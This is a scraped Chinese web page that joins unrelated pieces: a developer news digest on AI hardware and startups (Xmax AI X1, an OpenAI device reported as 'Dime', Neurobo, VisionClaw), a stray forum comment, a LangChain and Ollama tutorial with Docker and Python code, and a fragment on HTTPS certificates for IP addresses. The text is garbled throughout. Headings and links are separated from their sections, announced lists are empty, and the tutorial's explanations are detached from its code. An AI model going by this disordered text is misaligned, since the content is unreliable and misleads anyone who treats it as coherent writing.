X1,由华为「天才少年」计划成员史佳欣领衔开发。该模型打破了传统文生视频的键盘输入限制,让用户通过手机摄像头与手势,即可在现实场景中「召唤」并操控虚拟角色。 不同于追求画质和时长的专业创作工具,X1 侧重于降低交互门槛,实现毫秒级的即时反馈。其技术演示应用 X-cam 已展示四大核心功能: 在技术实现上,Xmax AI 团队针对极致实时、意图理解与数据稀缺三大痛点交出了答卷。 模型采用端到端的流式重渲染架构及帧级别自回归 DiT,配合循环回归架构,实现了无限时长的连续生成。同时,团队构建了虚实融合数据合成管线,低成本批量生产高质量交互训练数据,解决了行业内交互数据匮乏的难题。 Xmax AI 的团队成员涵盖了来自清华大学、港科大以及字节、华为等头部厂商的顶尖力量。其愿景不仅是开发一款应用,而是搭建下一代内容交互引擎,让虚拟角色成为能走进家庭的「数字生命体」,实现「用 AI 玩转世界」的目标。 testflight 邀请链接: Xmax AI 官网链接: (@机器之心) 1、OpenAI 首款硬件「Dime」曝光 OpenAI 首款面向消费者的 AI 硬件设备正加速推进,但今年 9 月亮相的首发版本将是功能受限的「简版」。 原因在于 HBM 供应紧张推高 2nm 芯片成本,迫使 OpenAI 推迟原计划中具备计算单元的「全能形态」,先行推出仅支持音频功能的版本。 博主「智慧皮卡丘」最新爆料称,这款设备命名为「Dime」,寓意其体积小巧。 其专利已于昨天在美国国家知识产权局公示,外观采用金属材质,主体类似卵石,内部藏有两颗可取出的胶囊状耳机,佩戴方式为置于耳后。 供应链消息指出,设备用料更接近手机级别,主处理器目标直指 2nm 智能手机芯片,且正在开发定制芯片,以实现通过语音直接执行 iPhone 上的 Siri 指令。 在 OpenAI 内部,这款代号「Sweetpea」(甜豌豆)的设备被 Jony Ive 团队列为最高优先级,首年出货目标高达 4000 万至 5000 万台。富士康也已接到通知,需在 2028 年前为 OpenAI 五款设备做好产能准备。 OpenAI CEO 山姆 · 奥特曼曾公开表示,真正的竞争对手不是 Google,而是苹果。 他认为未来 AI 的主战场在终端,而非云端;智能手机屏幕与交互方式限制了 AI 伴侣的潜力,因此 OpenAI 必须打造「AI 原生设备」。 奥特曼将其愿景比喻为「湖畔小屋」——在信息轰炸的时代广场之外,为用户提供专注空间。 除了耳机,一支神秘的 AI 笔也在开发之列。结合 Altman 与 Jony Ive 多次提及的线索,外界推测这款设备体积小巧、具备环境感知能力,可能采用陶瓷等高质感材料,并以极简交互为核心。 技术层面,OpenAI 正加速迭代音频模型,为硬件奠定基础。知情人士透露,新一代模型不仅语音更自然,也能支持同步对话与打断处理,预计今年第一季度发布。 OpenAI 已组建跨供应链、工业设计与模型研发的团队,目标是打造能主动协作的「智能伙伴」,而非简单的语音接口。 外界还推测,AI 笔可能集成微型投影仪,将图像投射到桌面,以解决无屏幕交互问题;笔夹可能集成麦克风或摄像头,实现文本解析与环境感知。 用户在纸上书写时,AI 可实时解读内容、生成待办事项,甚至作为智能中枢控制周边设备。 ( @APPSO) 2、当「老二次元」下场 AI 创业:我要做个会说话的智能「痛包」 图源AI生成 创业者郭轶捷推出了一款名为「Neurobo」的智能娃包。这款产品不仅是装载二次元虚拟角色(即「娃」)的背包,更集成了摄像头、麦克风、GPS 及 Agent 工作流,使其具备感知环境、记录情境和保存记忆的能力。当用户背着娃包外出或社交时,AI 能以包内角色的视角捕捉生活片段,并在合适时机通过 APP 发起互动,实现「让娃活过来」的体验。 郭轶捷团队之所以选择「娃包」而非直接做「娃」,基于对二次元人群的深度洞察: 尽管二次元常被视为小众生意,但该项目已获奇绩创坛及港科大教授高秉强等投资方的支持。投资人认为,这门生意的本质是人与虚拟角色之间的交互幻想,这种需求具有普适性。郭轶捷表示,娃包只是切入二次元细分人群的形态,其核心是一套智能可穿戴设备的交互机制。未来,这套机制可拓展至 Labubu、宠物甚至亲子等更广泛的角色化陪伴场景。 目前,Neurobo 娃包计划于 2026 年中量产,预计定价在 500-1500 元之间。团队希望通过打造轻奢的交互体验,让用户感到把娃放进包里是一种更高级的选择,最终服务于更广泛的需要「陪伴叙事」的大众消费人群。 (@未来人类实验室) 1、研究称「996」工作模式正在硅谷 AI 行业蔓延 据《商业内幕》报道,今年硅谷的 AI 行业正出现更趋严苛的「996」式工作文化,引发业内对员工身心负担的担忧。 报道援引多位研究人员指出,在激烈的 AI 竞赛推动下,部分科技公司正在形成高压、长工时的工作环境,甚至开始接近在国内互联网行业长期存在的「996」模式。 报道提到,Allen Institute for AI 高级研究科学家 Nathan Lambert 与 AI 研究实验室创始人 Sebastian Raschka 在近期播客节目中谈到,硅谷的工作节奏虽未完全复制中国的「996」,但趋势正在向更高强度靠拢。 Raschka 表示,AI 模型迭代速度极快,初创公司为了在竞争中保持领先,往往需要团队持续交付成果,这使得长时间工作成为常态。他强调,这种节奏更多源于竞争压力与从业者的热情,而非强制要求。 Lambert 指出,这种文化在旧金山最知名的 AI 公司中尤为明显,他提到「这就是 OpenAI 和 Anthropic 的现状」,许多程序员主动投入高压环境,因为他们希望参与最前沿的研究。 不过,他也强调,这种投入往往伴随明显的「人力消耗」,包括与家人相处时间减少、视野变窄以及健康问题等。 这种节奏不可能长期维持,人真的会被拖垮(burn out)。 Raschka 也分享了自身经历,称长期不休息导致颈部与背部疼痛。他认为,年轻程序员若希望在 AI 领域产生影响,亲自来到旧金山仍是最现实的路径,但必须接受相应的生活与健康取舍。 ( @APPSO) 1、VisionClaw:将 OpenClaw 装进智能眼镜 ,实现语音、视觉和智能体操作 近日,开发者 sseanliu 开源了 「VisionClaw」 项目,这是一款适用于 Meta Ray-Ban 智能眼镜的实时 AI 助手——通过 Gemini Live 和 OpenClaw 实现语音、视觉和智能体操作。 它结合视觉与语音技术,让智能穿戴设备具备了感知现实并执行复杂任务的能力。 VisionClaw 允许用户在戴上眼镜后,通过简单的点击和语音交互来实现「所见即所得」的智能化体验。其主要功能包括: 在技术实现上,该项目基于 Meta Wearables DAT SDK 与 Gemini Live API 构建。它不仅支持 Meta 智能眼镜模式,还特别提供了「iPhone 模式」,方便开发者在没有硬件眼镜的情况下,利用手机后置摄像头测试完整的 AI 链路。 GitHub: ( @GitHub) 2、告别模糊定位:VPS 技术赋予智能眼镜「空间感知」新高度 来自开发者 Nikhil Sawlani: 智能眼镜现在具备了空间智能。multiset.ai 的视觉定位服务(VPS) 现已支持可穿戴设备,并首发适配 Meta Ray-Ban 智能眼镜。凭借小于 5 厘米的定位精度,眼镜能够精确感知设备的实时位置。 ( @sawlaninik@X) 招聘、项目分享、求助……任何你想和社区分享的信息,请联系我们投稿。(加微信 creators2022,备注「社区黑板报」) 1、招聘后端工程师(全职 Remote) 【项目背景】 团队实力: 顶级内容 IP 制作运营团队 。 战略合作: 与日本游戏大厂深度战略合作,资源与技术底蕴深厚。 核心产品: 打造下一代「桌面全息仓」,赋予数字生命毫秒级交互体验 。 【职位详情】 性质: 全职(base 日本),支持远程办公 (Remote) 。 【核心挑战】 多模态中枢: 构建支持语音、文本、视觉输入的实时交互流水线 。 极致低延迟: 优化 TTFT(首 Token 延迟),确保全链路延迟在 1 秒以内 。 底层通信: 基于 WebRTC、WebSocket 或 Protobuf 设计高频指令传输协议 。 【任职要求】 精通异步后端开发,构建支持多模态(语音/文本/视觉)的实时交互流水线 。 熟悉音视频编解码(Opus/PCM)及抖动缓冲区设计 。 熟悉 TEN Framework/ LiveKit / Pipecat / Vapi 等至少一种实时框架 。 联系人:Andy 微信:xianhuabusi002 阅读更多 Voice Agent 学习笔记:了解最懂 AI 语音的头脑都在思考什么 写在最后: 我们欢迎更多的小伙伴参与「RTE 开发者日报」内容的共创,感兴趣的朋友请通过开发者社区或公众号留言联系,记得报暗号「共创」。 对于任何反馈(包括但不限于内容上、形式上)我们不胜感激、并有小惊喜回馈,例如你希望从日报中看到哪些内容;自己推荐的信源、项目、话题、活动等;或者列举几个你喜欢看、平时常看的内容渠道;内容排版或呈现形式上有哪些可以改进的地方等。 作者提示: 个人观点,仅供参考
01有话题的技术

https://testflight.apple.com/join/8sWgKZeQ
https://xmax.ai/02有亮点的产品


03有态度的观点

04 Real-Time AI Demo

https://github.com/sseanliu/VisionClaw05 社区黑板报



目前好像只能通过打赏?
站长有没有什么想法,比较有仪式感的 🌚
这两年,大模型几乎成了开发者的“标配工具”: 但你有没有认真想过一个问题: 随着模型体积持续下降、硬件性能快速提升,以及 Ollama 这类工具逐渐成熟, 这篇文章,我们就来完整走一遍: 先给结论: 这是目前本地大模型场景中,最自然、最稳定的一种组合方式。 你可以把 Ollama 理解为: 它解决的问题非常聚焦: 一句话总结: 如果你只是想“问一句、回一句”,直接调 Ollama API 当然也没问题。 这些正是 LangChain 擅长的事情: 所以一个非常自然的分工是: 如果你对部署细节感兴趣,可以参考我之前的文章: 以 简单测试: 如果可以正常对话,说明模型已经在本地成功运行。 接下来进入核心部分: 这里我们使用 OpenAI 兼容协议,这是目前最稳定、生态最完整的一种方式。 几个关键点说明: 到这里,你已经完成了: 这条完整调用链。 在真实项目中,几乎不会直接“裸调”模型。 显式的输出解析,是 LangChain 新 API 的重要特征: 这就是 LangChain 当前主推的 LCEL(表达式)写法, ⚠️ 一个非常重要的变化: 在新的 Runnable 体系中, 到这里,你已经拥有了一个: 的对话系统。 而且 所有数据都只存在你的本地机器上。 非常适合: 不太适合: 最后分享几点真实踩坑后的经验: 模型别贪大 Prompt 比模型更重要 LangChain 要“模块化使用” Memory 要可演进 Ollama 非常适合私有化场景 过去一年,我们讨论最多的问题是: 而现在,越来越多开发者开始认真思考: LangChain + Ollama 并不是为了“替代云”, 如果你正在做: 那么这套组合,非常值得一试。 如果你觉得这篇文章对你有帮助,欢迎 点赞 / 转发 / 收藏。
写代码、查资料、做总结、当智能助手。我们真的必须把所有请求都发到云端 API 吗?
本地运行大模型,已经从早期的“极客尝鲜”,演进为一种可以在真实项目中落地的工程方案。如何使用 LangChain,基于最新 Runnable API,调用本地启动的 Ollama 模型,构建一个真正可用的本地大模型应用。
一、为什么选择 LangChain + Ollama?
Ollama 解决“模型怎么跑”,LangChain 解决“能力怎么用”。
1️⃣ Ollama:本地大模型的“Docker”
专门为大模型设计的一层运行时基础设施。11434)Ollama 把“跑模型”这件事,做成了基础设施能力。
2️⃣ LangChain:AI 应用的“控制中心”
但一旦进入真实工程场景,需求会迅速复杂化:LangChain 负责“编排与逻辑”,Ollama 负责“模型与算力”。
二、准备工作:本地启动 Ollama 模型
1️⃣ 使用 Docker 部署 Ollama(推荐)
docker run \
-d \
--restart=always \
--name ollama \
--gpus=all \
-p 11434:11434 \
-v /home/data/ollama:/root/.ollama \
ollama/ollama2️⃣ 拉取并运行模型
qwen3:8b 为例:ollama pull qwen3:8bollama run qwen3:8b三、LangChain 接入本地 Ollama(OpenAI 协议)
如何用 LangChain 调用本地 Ollama?1️⃣ 安装依赖
pip install langchain langchain-openai2️⃣ 创建 Ollama LLM(ChatOpenAI)
from langchain_openai import ChatOpenAI
llm = ChatOpenAI(
name="ollama-ai",
model="qwen3:8b",
base_url="http://localhost:11434/v1",
api_key="your api key",
temperature=0.7,
timeout=300,
)model 必须与 Ollama 中的模型名称一致base_url 指向 Ollama,并注意使用 /v1 后缀3️⃣ 最简单的一次调用
response = llm.invoke("用一句话解释什么是 LangChain")
print(response)LangChain → 本地 Ollama → 本地大模型
四、进阶用法:Prompt + Runnable(LCEL)
1️⃣ PromptTemplate
from langchain_core.prompts import PromptTemplate
prompt = PromptTemplate(
input_variables=["question"],
template="你是一个资深后端工程师,请用简洁、专业的语言回答:{question}",
)2️⃣ 输出解析(StrOutputParser)
from langchain_core.output_parsers import StrOutputParser
parser = StrOutputParser()3️⃣ Runnable 组合(推荐写法)
chain = prompt | llm | parser
response = chain.invoke({
"question": "为什么本地部署大模型越来越流行?"
})
print(response)
比早期的 LLMChain 更透明、也更可组合。五、加入 Memory:真正的本地对话能力
Memory 不再是 Chain 的“隐藏参数”,而是显式的状态管理。1️⃣ 定义对话历史存储
from langchain_core.chat_history import InMemoryChatMessageHistory
store = {}
def get_session_history(session_id: str):
if session_id not in store:
store[session_id] = InMemoryChatMessageHistory()
return store[session_id]2️⃣ Prompt 显式消费 history(关键)
from langchain_core.prompts import PromptTemplate
prompt = PromptTemplate(
input_variables=["history", "question"],
template="""
你是一个资深后端工程师。
以下是之前的对话历史:
{history}
当前用户问题:
{question}
请基于上下文给出连贯、准确的回答。
""".strip()
)这是很多人第一次使用 RunnableWithMessageHistory 时最容易忽略的一点:
历史是否生效,取决于 Prompt 是否显式使用 {history}。3️⃣ 构建带记忆的 Runnable
from langchain_core.runnables.history import RunnableWithMessageHistory
chain = prompt | llm | parser
chat_chain = RunnableWithMessageHistory(
chain,
get_session_history,
input_messages_key="question",
history_messages_key="history",
)4️⃣ 调用(带 session_id)
config = {"configurable": {"session_id": "local-chat"}}
print(chat_chain.invoke(
{"question": "什么是 Ollama?"},
config=config
))
print(chat_chain.invoke(
{"question": "它和 LangChain 有什么关系?"},
config=config
))六、这套方案适合谁?
七、一些来自实践的工程建议
结语
“该用哪个云端大模型?”
“哪些能力,其实可以放回本地?”
而是为我们提供了一个:真正可控、可组合、可落地的本地大模型方案。
下一篇,我会继续分享 LangGraph 在本地大模型场景下的实战用法。
关于IP地址申请HTTPS证书的问题,确实存在一些特定的情况和限制。以下是对这个问题的详细解答: 是的,可以为IP地址申请HTTPS证书。不过,这与为域名申请证书有所不同,并且有一些特殊的要求和限制。 总之,虽然为IP地址申请HTTPS证书是一种可行的方法,特别是在特定的应用场景下,但对于大多数面向公众的服务而言,建议还是优先考虑使用域名证书。如果确实需要为IP地址申请证书,请确保遵循上述指导原则,以顺利完成整个过程。IP地址能否申请HTTPS证书?

1. 公网IP地址
2. 证书类型
3. 验证过程
4. 适用场景
申请步骤概述
IP地址https证书申请入口
注意事项